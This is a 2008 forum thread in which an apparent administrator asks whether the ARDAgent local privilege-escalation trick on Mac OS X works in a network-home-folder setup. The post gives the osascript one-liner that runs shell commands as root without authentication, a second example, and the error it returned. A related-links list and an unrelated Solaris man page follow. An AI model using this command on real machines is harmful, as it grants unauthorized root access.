Sponsored Content
Full Discussion: ARD Agent vulnerability
Operating Systems OS X (Apple) ARD Agent vulnerability Post 302207304 by afriend on Thursday 19th of June 2008 02:05:31 PM
Old 06-19-2008
ARD Agent vulnerability

today an anonymous slashdot user posted this little shell command, that uses the ARDAgent to gain root access, without ever needing to authenticate.

the script is:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

Can be used to things like:
osascript -e 'tell app "ARDAgent" to do shell script "scutil --set ComputerName SomeName"'
that would normally require authentication.

It has been tested by quite a few people, and has been found only to work you are physically at a computer and its logged in.

However where I work we use Network Shares as our home folder, and this hack doesnt seem to work. And I just wanted to make sure that there was no way it would work.

When I run the command:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

I get:
execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)


Anyone thinks its possible?
 

5 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

Solaris agent

Hello, on Solaris 5.8 I've installed SunMgtCenter to get the time agent; it's under /opt/SUNWsymon/sbin/es-start -a it's in ps -ef | grep agent ...but it doesn't work; the machine is always in alarm cause the time is different of the clock server; is it clear enough ? tks cc (0 Replies)
Discussion started by: Carmen123
0 Replies

2. IP Networking

SNMP agent

Hi, I am really new in linux and SNMP. I have a SNMP agent in Linux (net-snmp). I have my MIB in the /usr/share/mibs directory, and I didn't manage to understand where and how do I put the values of the fields in the MIB? The values are static, so the agent need to return the same value in... (0 Replies)
Discussion started by: linuxbegginer
0 Replies

3. UNIX for Dummies Questions & Answers

perform agent

Hi, Please can someone explain me about the " perform agent " on UNIX . Thanx (1 Reply)
Discussion started by: reply2soumya
1 Replies

4. UNIX for Dummies Questions & Answers

vcs agent

Hi all, I'm new to vcs. I have a doubt. I need to know, what will happen if an agent is stopped while reources being online. Eg.. while the oracle agent is stopped, will all the oracle resources will become offline.. Advanced thanks (1 Reply)
Discussion started by: sunshine12
1 Replies

5. Solaris

OV Server on 11 - need to install agent?

Client has got a few machines with logical domains on. But I can't see the the ovs-agent service? Quite possibly I guess this has been set up with just logical domains. With no agent. Do you need to use the agent only if planning to manage with OV Manager? (6 Replies)
Discussion started by: psychocandy
6 Replies
exit(1)                                                            User Commands                                                           exit(1)

NAME
exit, return, goto - shell built-in functions to enable the execution of the shell to advance beyond its sequence of steps SYNOPSIS
sh exit [n] return [n] csh exit [ ( expr )] goto label ksh *exit [n] *return [n] DESCRIPTION
sh exit will cause the calling shell or shell script to exit with the exit status specified by n. If n is omitted the exit status is that of the last command executed (an EOF will also cause the shell to exit.) return causes a function to exit with the return value specified by n. If n is omitted, the return status is that of the last command exe- cuted. csh exit will cause the calling shell or shell script to exit, either with the value of the status variable or with the value specified by the expression expr. The goto built-in uses a specified label as a search string amongst commands. The shell rewinds its input as much as possible and searches for a line of the form label: possibly preceded by space or tab characters. Execution continues after the indicated line. It is an error to jump to a label that occurs between a while or for built-in command and its corresponding end. ksh exit will cause the calling shell or shell script to exit with the exit status specified by n. The value will be the least significant 8 bits of the specified status. If n is omitted then the exit status is that of the last command executed. When exit occurs when executing a trap, the last command refers to the command that executed before the trap was invoked. An end-of-file will also cause the shell to exit except for a shell which has the ignoreeof option (See set below) turned on. return causes a shell function or '.' script to return to the invoking script with the return status specified by n. The value will be the least significant 8 bits of the specified status. If n is omitted then the return status is that of the last command executed. If return is invoked while not in a function or a '.' script, then it is the same as an exit. On this man page, ksh(1) commands that are preceded by one or two * (asterisks) are treated specially in the following ways: 1. Variable assignment lists preceding the command remain in effect when the command completes. 2. I/O redirections are processed after variable assignments. 3. Errors cause a script that contains them to abort. 4. Words, following a command preceded by ** that are in the format of a variable assignment, are expanded with the same rules as a vari- able assignment. This means that tilde substitution is performed after the = sign and word splitting and file name generation are not performed. ATTRIBUTES
See attributes(5) for descriptions of the following attributes: +-----------------------------+-----------------------------+ | ATTRIBUTE TYPE | ATTRIBUTE VALUE | |Availability |SUNWcsu | +-----------------------------+-----------------------------+ SEE ALSO
break(1), csh(1), ksh(1), sh(1), attributes(5) SunOS 5.10 15 Apr 1994 exit(1)
All times are GMT -4. The time now is 08:43 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy